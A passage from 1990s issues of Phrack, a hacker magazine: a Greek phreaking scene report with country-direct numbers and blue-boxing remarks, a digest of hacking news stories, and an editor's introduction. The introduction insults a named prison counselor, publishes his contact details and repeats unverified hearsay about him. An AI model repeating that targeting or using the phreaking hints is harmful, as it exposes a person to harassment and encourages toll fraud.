CALL WAITING

"DOT NOT DISTURB" SERVICE

OUTGOING CALL BARRING

MALICIOUS CALL IDENTIFICATION

ABSENT SUBSCRIBER SERVICE

LINE HUNTING

TOLL TICKETING (sure they do!)

...and of course better control OF the masses FOR the state.

I got very interesting results exploring those new centers. If I ever finish the project it will appear in Phrack or UPi (hopefully). Damn...Better to think over that twice. Abusing raises eyebrows.

The country direct numbers use the 00‑800‑country code‑11 format. Believe it or not; I had to social engineer the directory assistance operator to start moving. Not to mention the time and examples he needed to understand what I was talking about. Bad luck?

FINLAND 00‑800‑358‑11

CYPRUS 00‑800‑357‑11

ICELAND 00‑800‑353‑11

BRITAIN/NORTH IRELAND 00‑800‑44‑11

SWEDEN 00‑800‑46‑11

HOLLAND 00‑800‑31‑11

NORWAY 00‑800‑47‑11

DENMARK 00‑800‑45‑11

FRANCE 00‑800‑33‑11

GERMANY 00‑800‑49‑11

M.C.I. 00‑800‑122155 00‑800‑1211

SPRINT 00‑800‑1411

AT&T 00‑800‑1311

As of now only U.S.A. direct numbers can be used for blue boxing. It was possible to do so and it should be possible nowadays, although I cannot confirm that. The last months I have spent A LOT of time scanning numbers and frequencies but I didn't come to an end. To be continued...

* Cellular Phone Networks

The pen‑European digital (shit!) mobile telephony system G.S.M. is being implemented. Nothing is solid yet and of course no one claims (trumpet fanfare added here) that phreaks out through that. In the first state PANAFON will cover Athens and Argosaronic and afterwards all the big cities: Thessaloniki (it should be functioning by now), Patra, Heraklio et cetera. They are planning to cover more than 90% of the country's residents and 75% of the geographical region. Problems appear thanks to the strange terrain. I don't know what is going on with TELESTET.

The total registered subscribers are considered to be about ten thousand.

* Miscellaneous

An Integrated Service Digital Network is being established and local universities are installing [optical] Fiber Distributed Data Interfaces. PBXs are now becoming popular.

Most operators know little or nothing on computer security or managing in general. That's why some of them accept offered help and provide afterwards (non‑privileged) accounts and old, yet valuable, duplicate manuals. If some anti‑hacking measurements are taken, that is thanks to the company employers who maintain and prepare the systems.

Do not hang on this, but I think that there are no laws concerning H/P in particular.

Needless to say that no conferences take place. Of course QSD & IRC...ohhh

Phrack World News

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 28 of 28

PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Paramount's Hack Attack March 3, 1994

~~~~~~~~~~~~~~~~~~~~~~~

Reuter News Wire

Though the minds of Paramount execs have surely been n potential whackings, computer hacking was the chief focus of execs Bob Jaffe and John Goldwyn last week.

The execs got Par to pay a low six‑figure fee against mid‑six figures to Johnathan Littman for the rights to make a movie from his Sept. 12 LA Times Magazine article "The Last Hacker," and major names are lining up to be involved.

It's the story of Kevin Lee Poulsen, a skilled computer hacker who was so inventive he once disabled the phone system of KIIS_FM so he could be the 102nd caller and win the $50,000 Porsche giveaway.

Poulsen was caught and has been in jail for the last three years, facing more than 100 years in prison.

It was a vicious tug of war between Touchstone, which was trying to purchase it for "City Slickers" director Ron Underwood.

Littman, meanwhile, has remained tight with the underground community of hackers as he researches his book.

That takes its tool. Among other things, the mischief meisters have already changed his voice mail greeting to render an obscene proposal.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacker Attempts To Chase Cupid Away February 10, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

UPI News Sources

Two bachelors who rented a billboard to find the perfect mate said Thursday they had fallen victim to a computer hacker who sabotaged their voice mail message and made it X‑rated.

Steeg Anderson said the original recording that informed callers how they may get hold of the men was changed to a "perverted" sexually suggestive message.

"We are getting calls from all over the country," he said. "So we were shocked when we heard the message. We don't want people to get the wrong idea."

"It's rare, but we've seen this kind of thing before," said Sandy Hale, a Pac Bell spokeswoman. "There is a security procedure that can prevent this from happening, but many people simply don't use it."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Wire Pirates March 1994

~~~~~~~~~~~~

by Paul Wallich (Scientific American) (Page 90)

Consumers and entrepreneurs crowd onto the information highway, where electronic bandits and other hazards await them.

[Scientific American's latest articles about the perils of Cyberspace. Sound bytes galore from Dorothy Denning, Peter Neumann, Donn Parker, Mark Abene, Gene Spafford and others. Much better than their last attempt to cover such a thing back in 1991.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AT&T Warns Businesses December 8, 1993

~~~~~~~~~~~~~~~~~~~~~

Business Wire Sources

AT&T urges businesses to guard against increased risk of toll‑fraud attempts by hackers, or toll‑call thieves, during the upcoming holiday season.

Last year nationwide toll‑fraud attempts increased by about 50 percent during the Christmas week. Hackers "break into" PBXs or voice‑mail systems, obtain passwords or access to outside lines, and then sell or use the information to make illegal international phone calls.

Toll fraud cost American businesses more than $2 billion in 1993. "Hackers count on being able to steal calls undetected while businesses are closed during a long holiday weekend," says Larry Watt, director of AT&T's Toll Fraud Prevention Center. "Tis the season to be wary."

AT&T is the industry leader in helping companies to prevent toll fraud. Businesses that want more information on preventative measures can request AT&T's free booklet, "Tips on Safeguarding Your Company's Telecom Network," by calling 1‑800‑NET‑SAFE.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sadomasochists Meet Cyberpunks At An L.A. Party June 14, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Jessica Seigel (Chicago Tribune)

Sadomasochists meet the cyberpunks. Leather meet hypernormalcy. Body piercing meet network surfing (communicating by computer). It was a night for mingling among the subcultures to share their different approaches to messing with mind and body.

The recent party at the S&M club "Club Fuck" was organized by "Boing Boing," a zine that focuses on the kinetic, futuristic world of the new frontier known as cyberspace. This place doesn't exist in a physical location, but anyone can visit from their home computer by hooking into vast electronic networks.

A blindfolded man dressed in a jock strap and high heeled boots stood on stage while helpers pinned flashing Christmas lights to his flesh with thin needles. Then a man with deer antlers tied to his forehead whipped him.

The crowd of mostly twentysomethings who came to the club because of the cyber theme observed with stony expressions. Chris Gardner, 24, an architecture student who studied virtual reality in school, covered his eyes with his hand.

No one, really was "fitting in." The sadomasochists looked curiously at the very‑average‑looking cyber fans, who openly gawked back at the black leather, nudity and body piercing.

Sharing subcultures can be so much fun.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Intruder Alert On Internet February 4, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~

AP News Sources

Intruders have broken into the giant Internet computer network and users are being advised to protect themselves by changing their passwords.

The breaks‑ins may jeopardize the work of tens of thousands of computer users, warned the Computer Emergency Response Team, based at Carnegie Mellon University in Pittsburgh.

"Intruders have already captured access information for tens of thousands of systems across the Internet," said an emergency response team sent out on the network late Thursday.

Passwords were obtained by the intruders using a "Trojan horse program," so called because it can enter the main computer for some legitimate purpose, but with coding that lets it remain after that purpose is accomplished.

The program then records the first 128 keystrokes when someone else connects to the Internet, and the illegal user later dials in and receives that information. The first keystrokes of a user generally contain such information as name and password of the user. Once they know that the intruders can then sign on as the person whose password they have stolen, read that person's files and change them if they wish.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Harding Email Compromised by Journalists February 27, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by C.W. Nevius (SF Chronicle)

In another example of the media circus that has dogged Tonya Harding, a number of American journalists have apparently obtained the secret computer code numbers that would allow them to read Harding's personal electronic mail at the Winter Olympics.

No reporters have admitted reading Harding's electronic mail, but the apparent access to private communications has caused concern among those covering the Games.

The Olympic computer system is one of the most popular communications devices at the Games. Any member of the Olympic family ‑‑ media, athlete or Olympic official ‑‑ can message anyone else from any of several hundred computer terminals all over the Olympic venues.

The flaw in the system is that it is not especially difficult to break the personal code. Every accredited member of the Olympic family is given an identification number. It is written on both the front and back of the credential everyone wears at the Games. Anyone who has a face‑to‑face meeting with an athlete would be able to pick up the accreditation number, if the person knew where to look.

Each person is also given a "Secret" password to access the communication system. At the outset, the password was comprised of the digits corresponding to that person's birth date. Although Olympic officials advised everyone to choose their own password, Harding apparently never got around to doing so.

Harding's initial password would have been 1112, because her birthday is the 11th of December.

Although none of the writers at the Olympics has admitted reading Harding's personal electronic mail, it would be difficult, if not impossible, to determine if anyone did any actual snooping. There are no records kept of who signs on to the computer from any particular terminal.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Reality Check January 1994

~~~~~~~~~~~~~

by Doug Fine (Spin) (Page 62)

I ask accused hacker Kevin Lee Poulsen if, as he approaches three years in jail without trial, he has any regrets about his computer‑related activities. Without missing a beat, and breaking a media silence that began with his first arrest in 1988, he answers: "I regret shopping at Hughes Supermarket. I'm thinking of organizing a high‑tech boycott."

Poulsen is referring to the site of his 1991 bust in Van Nuys, California. There, between the aisles of foodstuffs, two zealous bag‑boys ‑‑ their resolve boosted by a recent episode of Unsolved Mysteries that featured the alleged criminal ‑‑ jumped the 25‑year‑old, wrestled him to the ground, and handed the suspect over to the security agents waiting outside.

Poulsen still kicks himself for returning to Hughes a second time that spring evening. According to court documents, a former hacker crony of Poulsen's, threatened with his own prison sentence, had tipped off the FBI that Poulsen might be stopping by.

What, I ask him, had he needed so badly that he felt compelled to return to a supermarket at midnight?

"Do you even have to ask?" he says. "Condoms, of course."

[A very different Kevin Poulsen story. Get it and read it.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Key Evidence in Computer Case Disallowed January 4, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Los Angeles Staff Writers (Los Angeles Times) (Page B3)

U.S. District Judge Ronald Whyte in San Jose said computer tapes found in a storage locker rented by Kevin Lee Poulsen should not have been examined by prosecutors without a search warrant and cannot be used as evidence.

Whyte had ruled the tapes admissible last month but changed his mind, saying he had overlooked evidence that should have put a police officer on notice of Poulsen's privacy rights.

In addition to illegal possession of classified government secrets, Poulsen faces 13 other charges, including eavesdroping on telephone conversations, and tapping into Pacific Bell's computer and an unclassified military computer network. He could be sentenced to 85 years in prison if convicted of all charges.

His lawyer, Paul Meltzer of Santa Cruz, said the sole evidence of the espionage charge is contained on one of the storage locker tapes. Meltzer said a government analyst found that the tape contained a 1987 order, classified secret, concerning a military exercise.

Poulsen, who lived in Menlo Park at the time of his arrest in the San Jose case, worked in the mid‑1980s as a consultant testing Pentagon computer security. He was arrested in 1988 on some of the hacking charges, disappeared and was picked up in April, 1991, after a tip prompted by a television show.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacker to ask charges be dropped January 4, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

UPI News Sources

An attorney for a former Silicon Valley computer expert accused of raiding confidential electronic government files said Tuesday he will ask to have charges dismissed now that a federal judge has thrown out the government's chief evidence.

Attorney Peter Leeming said the government's case against Kevin L. Poulsen is in disarray following a ruling suppressing computer tapes and other evidence seized from a rented storage locker in 1988.

''We're ready to go to trial in the case, and actually we're looking forward to it,'' Leeming said.

Poulsen is charged with espionage and other offenses stemming from his hacking into military and Pacific Bell telephone computers. The government alleges that Poulsen illegally obtained confidential military computer codes and confidential information on court‑ordered wiretaps.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Password is Loopholes March 1, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~

by Joshua Quittner (Newsday) (Page 61)

You'd think that Polytechnic University, in Brooklyn, one of the finer technical schools in the country, would know how to safeguard its computer system against hacker intrusions. And you'd think the same of New York University's Courant Institute, which hosts the mathematical and computer science departments.

But a teenage Brooklyn hacker, who calls himself Iceman, and some of his friends say they invaded the schools Internet‑connected computers and snatched the passwords of 103 students.

Internet break‑ins have been a national news story lately, with reports that unknown intruders have purloined more than 10,000 passwords in a burst of activity during recent months. The Federal Bureau of Investigation is investigating, since so many "federal‑interest computers" are attached to the wide‑open Internet and since it is a crime to possess and use other peoples' passwords.

Experts now believe that a group of young hackers who call themselves The Posse are responsible for the break‑ins, though who they are and what they're after is unclear. Some people believe the crew is merely collecting passwords for bragging rights, while others suspect more insidious motives. Their approach is more sophisticated, from a technical standpoint, than Iceman's. But the result is the same.

Now Iceman, who's 18, has nothing to do with The Posse, never heard of it, in fact. He hangs with a group of budding New York City hackers who call themselves MPI.

Iceman told me it was simple to steal 103 passwords on the universities systems since each password was a common word or name.

What did Iceman and company do with the passwords?

He said mostly, they enjoy reading other people's files and e‑mail. "Every once in a while," he said, "you get something interesting."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Rape In Cyberspace December 21, 1993

~~~~~~~~~~~~~~~~~~~~

by Julian Dibbell (Village Voice) (Page 36)

[<SNIFF> Some guy made my MUD character do bad things in a public area. And all the other MUDders could do was sit and watch! WAHHHHH.

Get a fucking life, people. Wait, let me restate that; Get a FUCKING REAL LIFE!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacking Goes Legit February 7, 1993

~~~~~~~~~~~~~~~~~~

by Ann Steffora and Martin Cheek (Industry Week) (Page 43)

Corporations ARE using "tiger teams" and less glamorous methods to check computer security.

[Uh, yeah. Sure they are. Hey, is that an accountant in your dumpster? Better tuck in that tie dude. Don't forget your clipboard!

I will put a computer security audit by me, or by anyone from the hacker community, against a computer security audit done by ANY of the following: Coopers & Lybrand, Deloitte & Touche, Arthur Andersen or Price Waterhouse. It's no contest. These people are NOT computer people. Period.

Get the hell out of the computer business and go do my fucking taxes.]

46

- Introduction by Erik Bloodaxe

- Phrack Loopback by Phrack Staff

- Line Noise by Phrack Staff

- Line Noise by Phrack Staff

- Phrack Prophile on Minor Threat by Minor Threat

- Paid Advertisement by unknown

- Paid Advertisement (cont) by unknown

- The Wonderful World of Pagers by Erik Bloodaxe

- Legal Info by Szechuan Death by Szechuan Death

- A Guide to Porno Boxes by Carl Corey

- Unix Hacking - Tools of the Trade by The Shining

- The fingerd Trojan Horse by Hitman Italy

- The Phrack University Dialup List by Phrack Staff

- A Little About Dialcom by Herd Beast

- VisaNet Operations Part I by Ice Jey

- VisaNet Operations Part II by Ice Jey

- Gettin' Down 'N Dirty Wit Da GS/1 by Dr. Delam & Maldoror

- Startalk by The Red Skull

- Cyber Christ Meets Lady Luck Part I by Winn Schwartau

- Cyber Christ Meets Lady Luck Part II by Winn Schwartau

- The Groom Lake Desert Rat by PsychoSpy

- HOPE by Erik Bloodaxe

- Cyber Christ Bites the Big Apple by Winn Schwartau

- The ABCs of Better Hotel Staying by Seven Up

- AT&T Definity System 75/85 by Erudite

- Keytrap v1.0 Keyboard Key Logger by Dcypher

- International Scenes by various

- Phrack World News by Datastream Cowboy

Introduction

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 1 of 28

Issue 46 Index

__________

P H R A C K 4 6

September 20, 1994

__________

"La cotorra que chi, no canta"

Honey, I'm home! Anyway, like the little proverb above indicates, I've been a very busy man since the last issue. I've been denied entry to a federal prison in North Carolina (imagine the irony of THAT); I've been whoring in the Red‑Light District of Amsterdam with military intelligence officers from England, Spain and the US; estuve chicaito en Nuevo Lardeo; I've tested wireless networks in Canada; and I've been on TV a few more times. (No, nimrod, Phrack is not my job...I WORK for a living.)

Needless to say, it has been a chore for me to get Phrack out at all, much less only a month or so past my self‑imposed quarterly deadline. But hell, I love doing this magazine, so here it is. Phrack is the only way I can completely thrill and simultaneously piss off so many people at once, so I don't think I'll stop any time soon.

Pissing people off. It's what I like to do, and it would appear that I'm quite good at it. I realize that there are several extremely vocal erikb‑bashers out there. And to them I say, "smooches!" Let's face it, sour grapes make bad whiners. But hey, "As long as they're talking about Erikb, let 'em talk." (Sorry Mr. Ford)

Besides piecing together this issue, I've been working on getting the WWW pages together. They still aren't 100%, but they are getting there. By the time I finally get them together, the Phrack Web Site should be the ultimate underground resource on the net. Check it out: http://freeside.com/phrack.html

You may be interested in the federal prison remark from the first paragraph. I had a meeting at IBM out in Research Triangle Park. I figured that this would be an ideal time to go see Co/Dec who still has several years of federal time left to serve. Co/Dec is in the Federal Correctional Institute at Butner, North Carolina, a short 30 or so minutes from where I was staying in RTP.

Anyway, I receive the necessary forms from Co/Dec to get on the approved visitors list, and sent them back in. After several weeks, Co/Dec said that I still had not been added. My trip was slated for a week away, so I called his counselor, Wilbert LeMay. Mr. LeMay told me that he never got my forms. I then fed‑ex'ed a copy (that I luckily had kept). It arrived on Friday morning, and I was to arrive on Monday. Mr. LeMay had assured me that it would be no problem to get me added to Co/Dec's list.

When I arrived on Monday, I called the prison to make sure the visit had been cleared. Mr. LeMay would not return my calls. In fact, not only would he not return any of the 5 or so calls I made, but he didn't even bother to enter my name on the visitor list until the Wednesday after I had already left North Carolina.

I'm sorry, but this man must be a real prick.

A bit of background on LeMay. First off, according to those on the inside, LeMay dislikes white people. He supposedly keeps a picture of slaves picking cotton on his desk as a constant reminder of the oppression his people were subjected to. But perhaps working in the prison system where you have constant view of the Aryan Brotherhood in action, I'm sure many would begin to feel likewise. (Can't we all just get along?) Secondly, LeMay dislikes Co/Dec. He put Co/Dec in solitary confinement for weeks because Co/Dec had a DOS MANUAL! A fucking DOS MANUAL! You do not put someone in the fucking hole for brushing up on the syntax for xcopy! You put them in the hole for inciting a fucking shank war, or for stealing food, or for punching a guard. Later, Co/Dec found himself in solitary confinement AGAIN because he traded some smokes for telephone parts he was going to use to fix a radio. The hole again. Not for weapons and drugs, NO! Much worse: wires and a speaker!

The prison now considers Co/Dec a security risk, and read all OUTGOING mail he sends. Not just the regular reading of all incoming mail that any inmate would expect. He can't take any clases, he's had several more days added to his sentence for "bad time served," and in addition, all of his phone calls are live monitored and recorded. (A funny note, during one conversation I found that my touchtones would control the equipment they were using to record the call. The equipment they were using was improperly connected and gave off a terrible hum when activated. I kept turning off the recording, and the security officer kept having to turn it back on.)

All of this, due to Counselor Wilbert LeMay. Thanks guy.

If someone can so grossly abuse their power to completely remove the dignity of another human being, inmate or otherwise, that person needs to face severe disciplinary action. I'm writing the warden. Directory Assistance says that Wilbert can be reached at:

Wilbert LeMay

701 East E St.

Butner, NC 27509

919‑575‑6375

Fun fact: Butner is serviced by GTE.

You know, its pretty odd that as hackers, we probably know a larger number of ex‑cons and current inmates than most people.

But anyway, on to Phrack.

This issue is pretty odd in that "The Man" has consented to write a few syllables for us to distribute. Yes, Winn Schwartau submitted his unique perspectives of Defcon and HOPE. It's funny how many people left Defcon this year and ran home to find information on HIRF weapons after hearing Winn speak. (If you've actually built one by now, email me.)

What else? GS1, Pagers, Voice Mail, VisaNet, Area 51, Programs, Conferences, and an incomplete university dialup list. (Putting out an incomplete list really irritates me, but hell, its taking a LOT longer than I expected to get some 1300 dialups without more help. AHEM!)

Can you dig it? I knew that you could.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

READ THE FOLLOWING

IMPORTANT REGISTRATION INFORMATION

Corporate/Institutional/Government: If you are a business, institution or government agency, or otherwise employed by, contracted to or providing any consultation relating to computers, telecommunications or security of any kind to such an entity, this information pertains to you.

You are instructed to read this agreement and comply with its terms and immediately destroy any copies of this publication existing in your possession (electronic or otherwise) until such a time as you have fulfilled your registration requirements. A form to request registration agreements is provided

at the end of this file. Cost is $100.00 US per user for subscription registration. Cost of multi‑user licenses will be negotiated on a site‑by‑site basis.

Individual User: If you are an individual end user whose use is not on behalf of a business, organization or government agency, you may read and possess copies of Phrack Magazine free of charge. You may also distribute this magazine freely to any other such hobbyist or computer service provided for similar hobbyists. If you are unsure of your qualifications as an individual user, please contact us as we do not wish to withhold Phrack from anyone whose occupations are not in conflict with our readership.

________________________________________

Phrack Magazine corporate/institutional/government agreement

Notice to users ("Company"): READ THE FOLLOWING LEGAL AGREEMENT. Company's use and/or possession of this Magazine is conditioned upon compliance by company with the terms of this agreement. Any continued use or possession of this Magazine is conditioned upon payment by company of the negotiated fee specified in a letter of confirmation from Phrack Magazine.

This magazine may not be distributed by Company to any outside corporation, organization or government agency. This agreement authorizes Company to use and possess the number of copies described in the confirmation letter from Phrack Magazine and for which Company has paid Phrack Magazine the negotiated agreement fee. If the confirmation letter from Phrack Magazine indicates that Company's agreement is "Corporate‑Wide", this agreement will be deemed to cover copies duplicated and distributed by Company for use by any additional employees of Company during the Term, at no additional charge. This agreement will remain in effect for one year from the date of the confirmation letter from Phrack Magazine authorizing such continued use or such other period as is stated in the confirmation letter (the "Term"). If Company does not obtain a confirmation letter and pay the applicable agreement fee, Company is in violation of applicable US Copyright laws.

This Magazine is protected by United States copyright laws and international treaty provisions. Company acknowledges that no title to the intellectual property in the Magazine is transferred to Company. Company further acknowledges that full ownership rights to the Magazine will remain the exclusive property of Phrack Magazine and Company will not acquire any rights to the Magazine except as expressly set forth in this agreement. Company agrees that any copies of the Magazine made by Company will contain the same proprietary notices which appear in this document.

In the event of invalidity of any provision of this agreement, the parties agree that such invalidity shall not affect the validity of the remaining portions of this agreement.

In no event shall Phrack Magazine be liable for consequential, incidental or indirect damages of any kind arising out of the delivery, performance or use of the information contained within the copy of this magazine, even if Phrack Magazine has been advised of the possibility of such damages. In no event will Phrack Magazine's liability for any claim, whether in contract, tort, or any other theory of liability, exceed the agreement fee paid by Company.

This Agreement will be governed by the laws of the State of Texas as they are applied to agreements to be entered into and to be performed entirely within Texas. The United Nations Convention on Contracts for the International Sale of Goods is specifically disclaimed.

This Agreement together with any Phrack Magazine confirmation letter constitute the entire agreement between Company and Phrack Magazine which supersedes any prior agreement, including any prior agreement from Phrack Magazine, or understanding, whether written or oral, relating to the subject matter of this Agreement. The terms and conditions of this Agreement shall apply to all orders submitted to Phrack Magazine and shall supersede any different or additional terms on purchase orders from Company.

________________________________________

REGISTRATION INFORMATION REQUEST FORM

We have approximately __________ users.

Enclosed is $________

We desire Phrack Magazine distributed by (Choose one):

Electronic Mail: _________

Hard Copy: _________

Diskette: _________ (Include size & computer format)

Name:_______________________________ Dept:____________________

Company:_______________________________________

Address:_______________________________________

________________________________________

City/State/Province:_______________________________________

Country/Postal Code:_______________________________________

Telephone:____________________ Fax:__________________________

Send to:

Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Enjoy the magazine. It is for and by the hacking community. Period.

Editor‑In‑Chief : Erik Bloodaxe (aka Chris Goggans) 3L33t : Ice‑9 (for helping me get this done!) Rad Band : Green Day

News : Datastream Cowboy

Photography : The Man

Prison Consultant : Co / Dec

The Young Girl : Jane March

Motor Trend's Car

of the Year : The 2600 Van

Dickhead of the Month : Wilbert LeMay at FCI Butner Thanks To : Szechuan Death, Carl Corey, The Shining, Dcypher Hitman Italy, Herd Beast, Dr. Delam, Maldoror, The Red Skull, PsychoSpy, Seven Up, Erudite, Ice Jey Special Thanks To : Winn Schwartau

Phrack Magazine V. 5, #46, September 20, 1994. ISSN 1068‑1035 Contents Copyright (C) 1994 Phrack Magazine, all rights reserved. Nothing may be reproduced in whole or in part without written permission of the Editor‑In‑Chief. Phrack Magazine is made available quarterly to the amateur computer hobbyist free of charge. Any corporate, government, legal, or otherwise commercial usage or possession (electronic or otherwise) is strictly prohibited without prior registration, and is in violation of applicable US Copyright laws. To subscribe, send email to phrack@well.sf.ca.us and ask to be added to the list.

Phrack Magazine

603 W. 13th #1A‑278 (Phrack Mailing Address) Austin, TX 78701

freeside.com (Phrack FTP Site) /pub/phrack

http://freeside.com/phrack.html (Phrack WWW Home Page)

phrack@well.sf.ca.us (Phrack E‑mail Address) or phrackmag on America Online

Submissions to the above email address may be encrypted

with the following key : (Not that we use PGP or encourage its use or anything. Heavens no. That would be politically‑incorrect. Maybe someone else is decrypting our mail for us on another machine that isn't used for Phrack publication. Yeah, that's it. :) )

** ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED **

Phrack goes out plaintext...you certainly can subscribe in plaintext.

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3a

mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg==

=q2KB

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

‑= Phrack 46 =‑

Table Of Contents

~~~~~~~~~~~~~~~~~

1. Introduction by The Editor 17 K

2. Phrack Loopback / Editorial 52 K

3. Line Noise 61 K

4. Line Noise 56 K

5. Phrack Prophile on Minor Threat 12 K

6. Paid Advertisement 62 K

7. Paid Advertisement (cont) 45 K

8. The Wonderful World of Pagers by Erik Bloodaxe 24 K

9. Legal Info by Szechuan Death 13 K

10. A Guide to Porno Boxes by Carl Corey 13 K 11. Unix Hacking ‑ Tools of the Trade by The Shining 42 K 12. The fingerd Trojan Horse by Hitman Italy 32 K 13. The Phrack University Dialup List 12 K 14. A Little About Dialcom by Herd Beast 29 K 15. VisaNet Operations Part I by Ice Jey 50 K 16. VisaNet Operations Part II by Ice Jey 44 K 17. Gettin' Down 'N Dirty Wit Da GS/1 by Maldoror & Dr. Delam 25 K

18. Startalk by The Red Skull 21 K

19. Cyber Christ Meets Lady Luck Part I by Winn Schwartau 45 K 20. Cyber Christ Meets Lady Luck Part II by Winn Schwartau 42 K 21. The Groom Lake Desert Rat by PsychoSpy 44 K

22. HOPE by Erik Bloodaxe 51 K

23. Cyber Christ Bites the Big Apple by Winn Schwartau 60 K 24. The ABCs of Better Hotel Staying by Seven Up 12 K 25. AT&T Definity System 75/85 by Erudite 13 K 26. Keytrap v1.0 Keyboard Key Logger by Dcypher 35 K 27. International Scenes by Various Sources 44 K 28. Phrack World News by Datastream Cowboy 38 K

Total: 996 K

________________________________________

"Most hackers would have sold out their mother."

Justin Tanner Peterson

"Treason is loved of many but the traitor hated of all." Robert Greene (1552‑1592)

"They smile in your face, but all the while they want to take your place."

Phrack Loopback

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 2 of 28

****************************************

Phrack Loopback

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'd like to write you about my friends cat. His name is 'Cid. Cid loves reading, in fact he'll read just about anything, from the labels on his cat food tins to the instructions on the "real" use of his Grafix (incense burner :) ). Well one take, 'Cid (or was it me) was indulging in the reason he got his moniker and mentioned that he'd like to receive Phrack. Well i told him he could just subscribe to it and then he went into a real sob story about how he doesn't have net access. So as a favor to 'Cid (who really does exist, and really has tripped out on brain blotters) i'd like to subscribe to Phrack.

[You my want to take note that Phrack can also be printed on paper. Now, that's a lot of blotter.

You've got your subscription, now go watch some anime.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I recently got a new job and shortly after beginning working there, they decided to retool and reorganize a bit for better productivity.

While we were going through some old boxes and stuff, I came across a little black box with the words "Demon Dialer" molded into the front of it, it even had the (functional!) 20volt power supply.

Needless to say I was pretty happy with my find. I asked if I could have it and since no one else there seemed to know what to make of it, mine it was!

My only problem now... I've played around with it, and it seems to do a lot more than what I originally thought, but the fact of the matter is.. I really haven't the foggiest idea of how to get it to REALLY work for me.

If anyone has any information, or better still, actual documentation for a Telephonics Inc, Demon Dialer.. I'd really appreciate passing it on to me.

Also, something rater strange. The phone cable attached to it had a normal looking 4‑wire connector on one end, but the other was split to have RJ jacks, one with the yellow‑black combo and one with the red‑green. The split ends (sorry :)) were plugged into the WALL and PHONE jacks on the demon dialer. The purpose for this perplexes me since one's supposed to be input and one's supposed to be a passthrough for the phone to be plugged into.

Anyway, any info would be nice. Thanks guys.

[Telephonics was one of those odd telco device manufacturers back in the 80's. They made the demon dialer (a speed dialing device), a two‑line conference box, a divertor, etc. Essentially, they provided in hardware what the telco's were beginning to roll‑out in software.

I think the line splitter you have was merely plugged into those two jacks for storage purposes. What that probably was for was to allow two lines to use the Demon Dialer. It was probably just reversed when your company boxed it so it wouldn't get lost.

I'm not sure if Telephonics is still in business. A good place to start looking for info would be comp.dcom.telecom or alt.dcom.telecom. Another good place may be Hello Direct (800‑HI‑HELLO). They used to do have Telephonics equipment available for mail‑order.]

